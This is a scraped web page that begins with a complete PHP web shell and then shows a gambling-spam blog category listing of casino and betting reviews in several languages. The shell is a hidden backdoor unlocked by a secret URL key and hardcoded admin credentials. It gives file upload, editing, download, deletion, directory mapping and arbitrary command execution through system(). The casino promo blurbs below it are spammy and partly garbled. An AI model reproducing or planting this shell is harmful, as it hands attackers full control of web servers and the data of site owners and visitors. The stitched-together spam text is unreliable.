if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } new – collectives.berlin

Your digital paradise.

Category: new

  • Лучшие игры, бонусы и акции Parimatch

    Parimatch объединяет азартные игры и ставки на спорт с рядом рекламных функций. В зависимости от текущего предложения, клиенты могут попробовать слоты, игры с живыми дилерами, рынки ставок на спорт, турниры, бесплатные вращения, бесплатные ставки, повышение вероятностей и другие акции. Лучшие азартные игры в Parimatch В лобби казино может быть представлен широкий выбор слотов, охватывающих различные…

    Click or not…

  • Ставки на киберспорт на Parimatch: CS2, Dota 2, Organization of Legends и многое другое

    Киберспорт за несколько лет превратился из узкоспециализированного увлечения в популярную сферу ставок, и Parimatch разработал одно из самых комплексных предложений по киберспорту на рынке. Благодаря специализированным рынкам, ставкам в режиме реального времени и защите, охватывающей как крупные турниры, так и небольшие местные мероприятия, платформа предоставляет доступным поклонникам видеоигр действительно первоклассный опыт, сравнимый со ставками на…

    Click or not…

  • Ставки на спорт на Parimatch

    Parimatch — это сайт ставок с более чем 30-летним опытом, поэтому неудивительно, что он известен во всем мире. В этом обзоре Parimatch я расскажу вам обо всем, что может предложить этот сайт. Рынки ставок Я нашел более 10 видов спорта для ставок на сайте Parimatch. Это не так уж много, поскольку у некоторых других ведущих…

    Click or not…

  • Отзыв о букмекерской конторе Parimatch

    Основные моменты отзыва о букмекерской конторе Parimatch Отличное страховое покрытие для киберспорта Отличное приложение Мощное решение для ставок в режиме реального времени Почему стоит делать ставки с Parimatch? Parimatch хорошо знаком игрокам, которые уже пользовались услугами любой из букмекерских контор группы BVGroup Он предлагает широкий выбор событий и выгодные коэффициенты на различных спортивных рынках, подходящих…

    Click or not…

  • Parimatch-Bewertung

    Bei der Suche nach bekannten Online-Wettplattformen ist Parimatch ein Name, der regelmäßig unter den globalen Anbietern von Sportwetten und Casino-Websites auftaucht. Die Plattform bietet eine breite Auswahl an Sportwettenmärkten, Casino-Spielen, Live-Casino-Angeboten und Bonusaktionen. Eigene Tests können wertvolle Einblicke in die Funktionsweise einer iGaming-Plattform geben. In diesem Parimatch-Testbericht betrachten wir den Sportwettenbereich, die Casino-Website, Boni, Zahlungsmethoden,…

    Click or not…

  • Recenzja Mostbet: Rejestracja, zakłady i kasyno

    Recenzja Mostbet Mostbet to internetowy system zakładów bukmacherskich i gier komputerowych, który działa od ponad dziesięciu lat. System oferuje szeroki wybór rynków zakładów sportowych, gier kasynowych i innych form rozrywki. Użytkownicy mogą obstawiać różne sporty, w tym: Piłka nożna Koszykówka Hokej Krykiet Różne inne sporty i zawody System oferuje również zakłady e-sportowe, gry w stylu…

    Click or not…

  • Mostbet Application Review: Attributes, Benefits, and Individual Experience

    Exploring the Mostbet application reveals a mix of user-friendly layout and robust performance, guaranteeing a seamless wagering experience. The thorough exploration of its detailed features and special advantages complies with below, providing a clear sight of what customers can prepare for. Whether you want sporting activities betting alternatives, on the internet gambling enterprise games, or…

    Click or not…

  • Legiano Casino Erfahrungsbericht

    Das Legiano Casino wurde 2024 eröffnet und bietet ein Spielerlebnis im Stil des antiken Roms sowie über 10.000 Online-Slots von bekannten Spieleanbietern. Es wird von Stellar Ltd. betrieben, besitzt eine Lizenz der Glücksspielbehörde von Anjouan und bietet zahlreiche Kryptowährungs-Zahlungsmöglichkeiten. Dieser Erfahrungsbericht zum Legiano Casino hilft Ihnen, den Registrierungsprozess zu verstehen, verschiedene Online-Casino- und Live-Casino-Spiele zu…

    Click or not…

  • LuckyMate Casino Site Review for Australian Gamers: What Caught Our Attention

    If you remain in Australia and you desire a gambling enterprise that really feels quick to get and easy to use, LuckyMate Casino site makes a solid first impression. You can enter, get hold of the welcome deal, and get straight into pokies without spending half an hour digging with menus. If you feel like…

    Click or not…

  • Concerning Sunlight of Egypt 2 Slot

    Sunlight of Egypt 2 is a follow-up to the original variation from 3 Oaks Pc gaming. It introduces a new benefit symbol, a grand prize, and exciting bonus attributes. The game still stays real to the style of the original, concentrating on ancient Egypt. Tool volatility helps to create balance in the slot’s gameplay, an…

    Click or not…